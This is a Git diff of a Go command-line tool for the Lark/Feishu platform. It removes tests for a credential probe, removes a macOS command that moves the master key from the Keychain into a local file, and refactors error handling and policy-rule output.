-			return jsonResp(200, `{"code":0,"data":{},"msg":"success"}`), nil
-		}
-		return f.probeHandler(req)
-	}
-	return nil, errors.New("unexpected URL: " + req.URL.String())
-}
-
-func jsonResp(code int, body string) *http.Response {
-	return &http.Response{
-		StatusCode: code,
-		Body:       io.NopCloser(strings.NewReader(body)),
-		Header:     make(http.Header),
-	}
-}
-
-// fakeFactory builds a test Factory whose HttpClient is overridden to use
-// the caller-supplied RoundTripper.
-//
-// Wired through cmdutil.TestFactory(t, nil) so the canonical IOStreams,
-// Credential, Keychain and FileIO wiring is in place (per repo test-factory
-// guidance). The HttpClient is then swapped to our stub so we can drive
-// exact HTTP responses for the probe. Config-dir isolation is set up via
-// t.Setenv(LARKSUITE_CLI_CONFIG_DIR, t.TempDir()) so any incidental config
-// touch lands in a temp dir rather than the developer's real config.
-//
-// The returned buffer is the Factory's stderr. runProbe never writes to
-// stderr (it propagates a typed error or stays silent), so every test asserts
-// this buffer stays empty as an invariant.
-func fakeFactory(t *testing.T, rt http.RoundTripper) (*cmdutil.Factory, *bytes.Buffer) {
-	t.Helper()
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, _, errBuf, _ := cmdutil.TestFactory(t, nil)
-	f.HttpClient = func() (*http.Client, error) {
-		return &http.Client{Transport: rt}, nil
-	}
-	return f, errBuf
-}
-
-// assertConfigRejection asserts runProbe propagated a deterministic credential
-// rejection: a *errs.ConfigError (CategoryConfig / SubtypeInvalidClient). This
-// is the same typed error every other token-resolving command returns for the
-// same bad credentials, and nothing is written to stderr (the root dispatcher
-// renders the envelope). The numeric code is not asserted: the unified v3 Token
-// Endpoint reports invalid_client via the OAuth2 error string, not a Lark code.
-func assertConfigRejection(t *testing.T, err error, errBuf *bytes.Buffer) {
-	t.Helper()
-	if err == nil {
-		t.Fatal("expected *errs.ConfigError, got nil")
-	}
-	var cfgErr *errs.ConfigError
-	if !errors.As(err, &cfgErr) {
-		t.Fatalf("expected *errs.ConfigError, got %T: %v", err, err)
-	}
-	if cfgErr.Category != errs.CategoryConfig {
-		t.Errorf("Category = %q, want %q", cfgErr.Category, errs.CategoryConfig)
-	}
-	if cfgErr.Subtype != errs.SubtypeInvalidClient {
-		t.Errorf("Subtype = %q, want %q", cfgErr.Subtype, errs.SubtypeInvalidClient)
-	}
-	if errBuf.Len() != 0 {
-		t.Errorf("runProbe must not write to stderr, got: %q", errBuf.String())
-	}
-}
-
-// assertSilent asserts runProbe stayed quiet: no propagated error and nothing
-// written to stderr. Used for every ambiguous (non-credential) outcome.
-func assertSilent(t *testing.T, err error, errBuf *bytes.Buffer) {
-	t.Helper()
-	if err != nil {
-		t.Errorf("expected nil (silent), got error: %v", err)
-	}
-	if errBuf.Len() != 0 {
-		t.Errorf("expected no stderr output, got: %q", errBuf.String())
-	}
-}
-
-// invalid_client (bad / non-existent app_id or wrong secret) → the v3 Token
-// Endpoint returns HTTP 400 with the OAuth2 error → ConfigError/InvalidClient,
-// propagated. The probe endpoint must not be called when TAT fails.
-func TestRunProbe_TATInvalidClient_ReturnsConfigError(t *testing.T) {
-	rt := &fakeRT{
-		tatHandler: func(req *http.Request) (*http.Response, error) {
-			return jsonResp(400, `{"error":"invalid_client","error_description":"The client secret is invalid.","code":20002}`), nil
-		},
-	}
-	f, errBuf := fakeFactory(t, rt)
-
-	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
-
-	if rt.probeCalls != 0 {
-		t.Error("probe endpoint must not be called when TAT fails")
-	}
-	assertConfigRejection(t, err, errBuf)
-}
-
-// unauthorized_client is treated as the same credential rejection, propagated.
-func TestRunProbe_TATUnauthorizedClient_ReturnsConfigError(t *testing.T) {
-	rt := &fakeRT{
-		tatHandler: func(req *http.Request) (*http.Response, error) {
-			return jsonResp(401, `{"error":"unauthorized_client","error_description":"client not authorized"}`), nil
-		},
-	}
-	f, errBuf := fakeFactory(t, rt)
-	assertConfigRejection(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
-}
-
-// Any other deterministic client-side OAuth error (e.g. invalid_scope) falls
-// back to *errs.APIError via BuildAPIError — still typed, so the probe surfaces
-// it rather than swallowing — but is not a credential (ConfigError) rejection.
-func TestRunProbe_TATOtherClientError_Propagates(t *testing.T) {
-	rt := &fakeRT{
-		tatHandler: func(req *http.Request) (*http.Response, error) {
-			return jsonResp(400, `{"code":20068,"error":"invalid_scope","error_description":"unauthorized scope"}`), nil
-		},
-	}
-	f, errBuf := fakeFactory(t, rt)
-	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
-	if err == nil || !errs.IsTyped(err) {
-		t.Fatalf("expected a propagated typed error, got %T: %v", err, err)
-	}
-	if errBuf.Len() != 0 {
-		t.Errorf("runProbe must not write to stderr, got: %q", errBuf.String())
-	}
-}
-
-// Non-200 HTTP at the TAT endpoint is ambiguous (not a payload credential
-// rejection) → silent, exit 0.
-func TestRunProbe_TATHTTPNon200_Silent(t *testing.T) {
-	for _, code := range []int{401, 403, 500} {
-		rt := &fakeRT{
-			tatHandler: func(req *http.Request) (*http.Response, error) {
-				return jsonResp(code, `nope`), nil
-			},
-		}
-		f, errBuf := fakeFactory(t, rt)
-		assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
-	}
-}
-
-func TestRunProbe_TATTransportError_Silent(t *testing.T) {
-	rt := &fakeRT{
-		tatHandler: func(req *http.Request) (*http.Response, error) {
-			return nil, errors.New("network down")
-		},
-	}
-	f, errBuf := fakeFactory(t, rt)
-	assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
-}
-
-func TestRunProbe_TATSuccess_ProbeFails_Silent(t *testing.T) {
-	rt := &fakeRT{
-		probeHandler: func(req *http.Request) (*http.Response, error) {
-			return jsonResp(500, `server error`), nil
-		},
-	}
-	f, errBuf := fakeFactory(t, rt)
-	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
-	if rt.probeCalls != 1 {
-		t.Errorf("probe should be called once, got %d", rt.probeCalls)
-	}
-	assertSilent(t, err, errBuf)
-}
-
-func TestRunProbe_TATSuccess_ProbeOK_Silent(t *testing.T) {
-	rt := &fakeRT{}
-	f, errBuf := fakeFactory(t, rt)
-	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
-	if rt.tatCalls != 1 || rt.probeCalls != 1 {
-		t.Errorf("expected 1/1 calls, got tat=%d probe=%d", rt.tatCalls, rt.probeCalls)
-	}
-	assertSilent(t, err, errBuf)
-}
-
-func TestRunProbe_ProbeRequestShape(t *testing.T) {
-	rt := &fakeRT{}
-	f, _ := fakeFactory(t, rt)
-	if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-
-	if rt.probeReq == nil {
-		t.Fatal("probe request not captured")
-	}
-	if rt.probeReq.Method != http.MethodPost {
-		t.Errorf("probe method = %s, want POST", rt.probeReq.Method)
-	}
-	if got := rt.probeReq.URL.String(); got != "https://open.feishu.cn/open-apis/application/v6/larksuite_cli_app/probe" {
-		t.Errorf("probe URL = %s", got)
-	}
-	if got := rt.probeReq.Header.Get("Authorization"); got != "Bearer t-ok" {
-		t.Errorf("Authorization = %q, want Bearer t-ok", got)
-	}
-	if !strings.Contains(rt.probeBody, `"from":"lark-cli/`+build.Version+`"`) {
-		t.Errorf("probe body missing from field: %s", rt.probeBody)
-	}
-}
-
-func TestRunProbe_LarkBrand_HostRoutedCorrectly(t *testing.T) {
-	rt := &fakeRT{}
-	f, _ := fakeFactory(t, rt)
-	if err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandLark); err != nil {
-		t.Fatalf("unexpected error: %v", err)
-	}
-	if rt.probeReq == nil {
-		t.Fatal("probe request not captured")
-	}
-	if !strings.Contains(rt.probeReq.URL.Host, "larksuite.com") {
-		t.Errorf("probe host = %s, want larksuite.com", rt.probeReq.URL.Host)
-	}
-}
-
-func TestRunProbe_HTTPClientError_Silent(t *testing.T) {
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-	f, _, errBuf, _ := cmdutil.TestFactory(t, nil)
-	f.HttpClient = func() (*http.Client, error) {
-		return nil, errors.New("client init failed")
-	}
-	assertSilent(t, runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu), errBuf)
-}
-
-func TestRunProbe_TimeoutHonored(t *testing.T) {
-	rt := &fakeRT{
-		tatHandler: func(req *http.Request) (*http.Response, error) {
-			<-req.Context().Done()
-			return nil, req.Context().Err()
-		},
-	}
-	f, errBuf := fakeFactory(t, rt)
-
-	start := time.Now()
-	err := runProbe(context.Background(), f, "cli_x", "secret_y", core.BrandFeishu)
-	elapsed := time.Since(start)
-
-	if elapsed > 4*time.Second {
-		t.Errorf("runProbe took %v, expected <= ~3s", elapsed)
-	}
-	// A timeout is an ambiguous failure (context deadline → untyped), so it
-	// must stay silent and not block.
-	assertSilent(t, err, errBuf)
-}
--- a/cmd/config/init_test.go
+++ b/cmd/config/init_test.go
@@ -1,121 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package config
-
-import (
-	"errors"
-	"fmt"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// updateExistingProfileWithoutSecret guards four blank-input scenarios. Each
-// must surface as *ValidationError(SubtypeInvalidArgument) per RFC 6749 §5.2:
-// SubtypeInvalidClient is reserved for IAM rejection of malformed credentials,
-// not for missing user input.
-
-func TestUpdateExistingProfileWithoutSecret_NilConfig_EmitsValidationError(t *testing.T) {
-	err := updateExistingProfileWithoutSecret(nil, "", "cli_test", core.BrandFeishu, "en")
-	assertValidationParam(t, err, "--app-secret")
-}
-
-func TestUpdateExistingProfileWithoutSecret_UnknownProfile_EmitsValidationError(t *testing.T) {
-	existing := &core.MultiAppConfig{
-		Apps: []core.AppConfig{{
-			Name:      "default",
-			AppId:     "app-default",
-			AppSecret: core.PlainSecret("secret-default"),
-			Brand:     core.BrandFeishu,
-		}},
-	}
-	err := updateExistingProfileWithoutSecret(existing, "missing-profile", "cli_test", core.BrandFeishu, "en")
-	assertValidationParam(t, err, "--app-secret")
-}
-
-func TestUpdateExistingProfileWithoutSecret_NoCurrentApp_EmitsValidationError(t *testing.T) {
-	existing := &core.MultiAppConfig{
-		CurrentApp: "missing",
-		Apps: []core.AppConfig{{
-			Name:      "default",
-			AppId:     "app-default",
-			AppSecret: core.PlainSecret("secret-default"),
-			Brand:     core.BrandFeishu,
-		}},
-	}
-	err := updateExistingProfileWithoutSecret(existing, "", "cli_test", core.BrandFeishu, "en")
-	assertValidationParam(t, err, "--app-secret")
-}
-
-func TestUpdateExistingProfileWithoutSecret_AppIdMismatch_EmitsValidationError(t *testing.T) {
-	existing := &core.MultiAppConfig{
-		Apps: []core.AppConfig{{
-			Name:      "default",
-			AppId:     "app-default",
-			AppSecret: core.PlainSecret("secret-default"),
-			Brand:     core.BrandFeishu,
-		}},
-	}
-	err := updateExistingProfileWithoutSecret(existing, "", "cli_different", core.BrandFeishu, "en")
-	assertValidationParam(t, err, "--app-secret")
-}
-
-// wrapUpdateExistingProfileErr is the caller-side classifier for the error
-// returned by updateExistingProfileWithoutSecret. It must preserve typed-error
-// exit semantics: a typed ValidationError must keep ExitValidation rather than
-// being downgraded to InternalError.
-
-func TestWrapUpdateExistingProfileErr_NilPassesThrough(t *testing.T) {
-	if got := wrapUpdateExistingProfileErr(nil); got != nil {
-		t.Fatalf("expected nil, got %v", got)
-	}
-}
-
-func TestWrapUpdateExistingProfileErr_TypedValidationErrorPreserved(t *testing.T) {
-	in := errs.NewValidationError(errs.SubtypeInvalidArgument, "App Secret cannot be empty for new profile").
-		WithParam("--app-secret")
-	got := wrapUpdateExistingProfileErr(in)
-	assertValidationParam(t, got, "--app-secret")
-	// Exit code must remain ExitValidation (2), not ExitInternal (5).
-	if code := output.ExitCodeOf(got); code != output.ExitValidation {
-		t.Errorf("ExitCodeOf = %d, want %d (ExitValidation)", code, output.ExitValidation)
-	}
-	// Must NOT be wrapped as *InternalError.
-	var intErr *errs.InternalError
-	if errors.As(got, &intErr) {
-		t.Errorf("typed ValidationError was downgraded to *InternalError: %v", got)
-	}
-}
-
-func TestWrapUpdateExistingProfileErr_UntypedErrorBecomesInternal(t *testing.T) {
-	in := fmt.Errorf("disk full")
-	got := wrapUpdateExistingProfileErr(in)
-	var intErr *errs.InternalError
-	if !errors.As(got, &intErr) {
-		t.Fatalf("expected *errs.InternalError, got %T: %v", got, got)
-	}
-	if intErr.Subtype != errs.SubtypeSDKError {
-		t.Errorf("Subtype = %q, want %q", intErr.Subtype, errs.SubtypeSDKError)
-	}
-}
-
-// assertValidationParam asserts err is *ValidationError with the given Param.
-func assertValidationParam(t *testing.T, err error, wantParam string) {
-	t.Helper()
-	if err == nil {
-		t.Fatal("expected error, got nil")
-	}
-	var valErr *errs.ValidationError
-	if !errors.As(err, &valErr) {
-		t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
-	}
-	if valErr.Subtype != errs.SubtypeInvalidArgument {
-		t.Errorf("Subtype = %q, want %q", valErr.Subtype, errs.SubtypeInvalidArgument)
-	}
-	if valErr.Param != wantParam {
-		t.Errorf("Param = %q, want %q", valErr.Param, wantParam)
-	}
-}
--- a/cmd/config/keychain_downgrade.go
+++ b/cmd/config/keychain_downgrade.go
@@ -1,72 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-//go:build darwin
-
-package config
-
-import (
-	"fmt"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/keychain"
-	"github.com/larksuite/cli/internal/output"
-	"github.com/spf13/cobra"
-)
-
-// NewCmdConfigKeychainDowngrade creates the macOS-only subcommand that pins
-// the master key to the local file fallback (master.key.file) so subsequent
-// operations bypass the OS Keychain. Useful inside sandboxes like Codex
-// where the system Keychain is unreachable.
-func NewCmdConfigKeychainDowngrade(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "keychain-downgrade",
-		Short: "Downgrade keychain storage to a local file (macOS only)",
-		Long: `Materialize the master key from the macOS system Keychain into a local file
-under ~/Library/Application Support/lark-cli/master.key.file, then pin all
-subsequent reads to that file.
-
-Intended workflow: run this once from an interactive Terminal session on
-macOS (where the system Keychain is reachable). After it finishes,
-sandboxed / automation / CI runs of lark-cli on the same machine will read
-the master key from the local file and no longer need the OS Keychain.
-
-This is the supported fix for environments like the Codex sandbox where the
-system Keychain is blocked. Running keychain-downgrade from inside such a
-sandbox will itself fail with "keychain access blocked" — that is expected;
-run it from an interactive macOS session instead.
-
-The OS Keychain entry is preserved as a cold backup; nothing is deleted there.
-The command is idempotent: re-running it on an already-downgraded install
-reports "already downgraded" and exits 0.`,
-		RunE: func(cmd *cobra.Command, args []string) error {
-			return configKeychainDowngradeRun(f)
-		},
-	}
-	cmdutil.SetRisk(cmd, "write")
-	return cmd
-}
-
-func configKeychainDowngradeRun(f *cmdutil.Factory) error {
-	service := keychain.LarkCliService
-	keyPath := keychain.MasterKeyFilePath(service)
-
-	result, err := keychain.DowngradeMasterKeyToFile(service)
-	if err != nil {
-		return errs.NewInternalError(errs.SubtypeSDKError,
-			"keychain downgrade failed: %v", err).
-			WithHint("This command must be run from an interactive macOS session (e.g. Terminal.app or iTerm) where the system Keychain is reachable. Running it from inside a sandbox / automation context that blocks Keychain access cannot succeed by design.").
-			WithCause(err)
-	}
-
-	switch result {
-	case keychain.DowngradeAlreadyDone:
-		output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("keychain already downgraded; subsequent operations read from %s", keyPath))
-	case keychain.DowngradeUsedKeychainKey:
-		output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("downgraded: copied master key from system Keychain to %s. Subsequent operations will read from file, bypassing the OS Keychain (useful inside sandboxes like Codex).", keyPath))
-	case keychain.DowngradeCreatedNewKey:
-		output.PrintSuccess(f.IOStreams.ErrOut, fmt.Sprintf("system Keychain was empty; generated a new master key and wrote it to %s. The OS Keychain was not modified.", keyPath))
-	}
-	return nil
-}
--- a/cmd/config/keychain_downgrade_other.go
+++ b/cmd/config/keychain_downgrade_other.go
@@ -1,28 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-//go:build !darwin
-
-package config
-
-import (
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/spf13/cobra"
-)
-
-// NewCmdConfigKeychainDowngrade is registered on all platforms so that
-// `lark-cli config --help` reads the same everywhere. On non-macOS it
-// refuses with a clear message.
-func NewCmdConfigKeychainDowngrade(f *cmdutil.Factory) *cobra.Command {
-	_ = f
-	cmd := &cobra.Command{
-		Use:   "keychain-downgrade",
-		Short: "Downgrade keychain storage to a local file (macOS only)",
-		Long:  `Downgrade keychain storage to a local file. This subcommand is only supported on macOS; on this platform the keychain layer already uses local files.`,
-		RunE: func(cmd *cobra.Command, args []string) error {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "keychain-downgrade is only supported on macOS")
-		},
-	}
-	return cmd
-}
--- a/cmd/config/plugins.go
+++ b/cmd/config/plugins.go
@@ -82,8 +82,8 @@ func runConfigPluginsShow(f *cmdutil.Factory) error {
 			"version":      p.Version,
 			"capabilities": p.Capabilities,
 		}
-		if len(p.Rules) > 0 {
-			entry["rules"] = p.Rules
+		if p.Rule != nil {
+			entry["rule"] = p.Rule
 		}
 		entry["hooks"] = map[string]any{
 			"observers": p.Observers,
--- a/cmd/config/policy.go
+++ b/cmd/config/policy.go
@@ -59,20 +59,16 @@ func runConfigPolicyShow(f *cmdutil.Factory) error {
 		"source_name":  sourceName,
 		"denied_paths": active.DeniedPaths,
 	}
-	if len(active.Rules) > 0 {
-		rules := make([]map[string]any, 0, len(active.Rules))
-		for _, r := range active.Rules {
-			rules = append(rules, map[string]any{
-				"name":              r.Name,
-				"description":       r.Description,
-				"allow":             r.Allow,
-				"deny":              r.Deny,
-				"max_risk":          r.MaxRisk,
-				"identities":        r.Identities,
-				"allow_unannotated": r.AllowUnannotated,
-			})
+	if active.Rule != nil {
+		out["rule"] = map[string]any{
+			"name":              active.Rule.Name,
+			"description":       active.Rule.Description,
+			"allow":             active.Rule.Allow,
+			"deny":              active.Rule.Deny,
+			"max_risk":          active.Rule.MaxRisk,
+			"identities":        active.Rule.Identities,
+			"allow_unannotated": active.Rule.AllowUnannotated,
 		}
-		out["rules"] = rules
 	}
 	output.PrintJson(f.IOStreams.Out, out)
 	return nil
--- a/cmd/config/policy_test.go
+++ b/cmd/config/policy_test.go
@@ -57,7 +57,7 @@ func TestConfigPolicyShow_PluginActive(t *testing.T) {
 		MaxRisk: "read",
 	}
 	cmdpolicy.SetActive(&cmdpolicy.ActivePolicy{
-		Rules: []*platform.Rule{rule},
+		Rule: rule,
 		Source: cmdpolicy.ResolveSource{
 			Kind: cmdpolicy.SourcePlugin,
 			Name: "secaudit",
@@ -83,16 +83,12 @@ func TestConfigPolicyShow_PluginActive(t *testing.T) {
 	if got["denied_paths"] != float64(42) {
 		t.Errorf("denied_paths = %v, want 42", got["denied_paths"])
 	}
-	rulesAny, ok := got["rules"].([]any)
-	if !ok || len(rulesAny) != 1 {
-		t.Fatalf("rules field missing or wrong shape: %v", got["rules"])
-	}
-	ruleMap, ok := rulesAny[0].(map[string]any)
+	ruleMap, ok := got["rule"].(map[string]any)
 	if !ok {
-		t.Fatalf("rules[0] wrong type")
+		t.Fatalf("rule field missing or wrong type")
 	}
 	if ruleMap["name"] != "secaudit" {
-		t.Errorf("rules[0].name = %v", ruleMap["name"])
+		t.Errorf("rule.name = %v", ruleMap["name"])
 	}
 }

@@ -105,7 +101,7 @@ func TestConfigPolicyShow_YamlSourceNameIsEmpty(t *testing.T) {
 	t.Cleanup(cmdpolicy.ResetActiveForTesting)

 	cmdpolicy.SetActive(&cmdpolicy.ActivePolicy{
-		Rules: []*platform.Rule{{Name: "my-yaml-rule"}},
+		Rule: &platform.Rule{Name: "my-yaml-rule"},
 		Source: cmdpolicy.ResolveSource{
 			Kind: cmdpolicy.SourceYAML,
 			Name: "/Users/alice/.lark-cli/policy.yml",
--- a/cmd/config/remove.go
+++ b/cmd/config/remove.go
@@ -6,7 +6,6 @@ package config
 import (
 	"fmt"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/auth"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
@@ -43,14 +42,14 @@ func configRemoveRun(opts *ConfigRemoveOptions) error {

 	config, err := core.LoadMultiAppConfig()
 	if err != nil || config == nil || len(config.Apps) == 0 {
-		return errs.NewConfigError(errs.SubtypeNotConfigured, "not configured yet")
+		return output.ErrValidation("not configured yet")
 	}

 	// Save empty config first. If this fails, keep secrets and tokens intact so the
 	// existing config can still be retried instead of ending up half-removed.
 	empty := &core.MultiAppConfig{Apps: []core.AppConfig{}}
 	if err := core.SaveMultiAppConfig(empty); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 	}

 	// Clean up keychain entries for all apps after config is cleared.
--- a/cmd/config/show.go
+++ b/cmd/config/show.go
@@ -9,7 +9,6 @@ import (
 	"os"
 	"strings"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/output"
@@ -48,14 +47,14 @@ func configShowRun(opts *ConfigShowOptions) error {
 		if errors.Is(err, os.ErrNotExist) {
 			return core.NotConfiguredError()
 		}
-		return errs.NewConfigError(errs.SubtypeInvalidConfig, "failed to load config: %v", err).WithCause(err)
+		return output.Errorf(output.ExitValidation, "config", "failed to load config: %v", err)
 	}
 	if config == nil || len(config.Apps) == 0 {
 		return core.NotConfiguredError()
 	}
 	app := config.CurrentAppConfig(f.Invocation.Profile)
 	if app == nil {
-		return errs.NewConfigError(errs.SubtypeNotConfigured, "no active profile").WithHint("run: lark-cli profile list")
+		return output.ErrWithHint(output.ExitValidation, "config", "no active profile", "run: lark-cli profile list")
 	}
 	users := "(no logged-in users)"
 	if len(app.Users) > 0 {
--- a/cmd/config/strict_mode.go
+++ b/cmd/config/strict_mode.go
@@ -7,9 +7,9 @@ import (
 	"context"
 	"fmt"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
 	"github.com/spf13/cobra"
 )

@@ -73,14 +73,14 @@ explicit user confirmation — never run on your own initiative.`,

 func resetStrictMode(f *cmdutil.Factory, multi *core.MultiAppConfig, app *core.AppConfig, global bool, args []string) error {
 	if global {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--reset cannot be used with --global").WithParam("--reset")
+		return output.ErrValidation("--reset cannot be used with --global")
 	}
 	if len(args) > 0 {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--reset cannot be used with a value argument").WithParam("--reset")
+		return output.ErrValidation("--reset cannot be used with a value argument")
 	}
 	app.StrictMode = nil
 	if err := core.SaveMultiAppConfig(multi); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 	}
 	fmt.Fprintln(f.IOStreams.ErrOut, "Profile strict-mode reset (inherits global)")
 	return nil
@@ -104,7 +104,7 @@ func setStrictMode(f *cmdutil.Factory, multi *core.MultiAppConfig, app *core.App
 	switch mode {
 	case core.StrictModeBot, core.StrictModeUser, core.StrictModeOff:
 	default:
-		return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid value %q, valid values: bot | user | off", value)
+		return output.ErrValidation("invalid value %q, valid values: bot | user | off", value)
 	}

 	// Capture the old mode at the SAME scope being changed, so we can warn
@@ -144,7 +144,7 @@ func setStrictMode(f *cmdutil.Factory, multi *core.MultiAppConfig, app *core.App
 	}

 	if err := core.SaveMultiAppConfig(multi); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to save config: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "internal", "failed to save config: %v", err)
 	}

 	if oldMode == core.StrictModeBot && (mode == core.StrictModeUser || mode == core.StrictModeOff) {
--- a/Show More
+++ b/Show More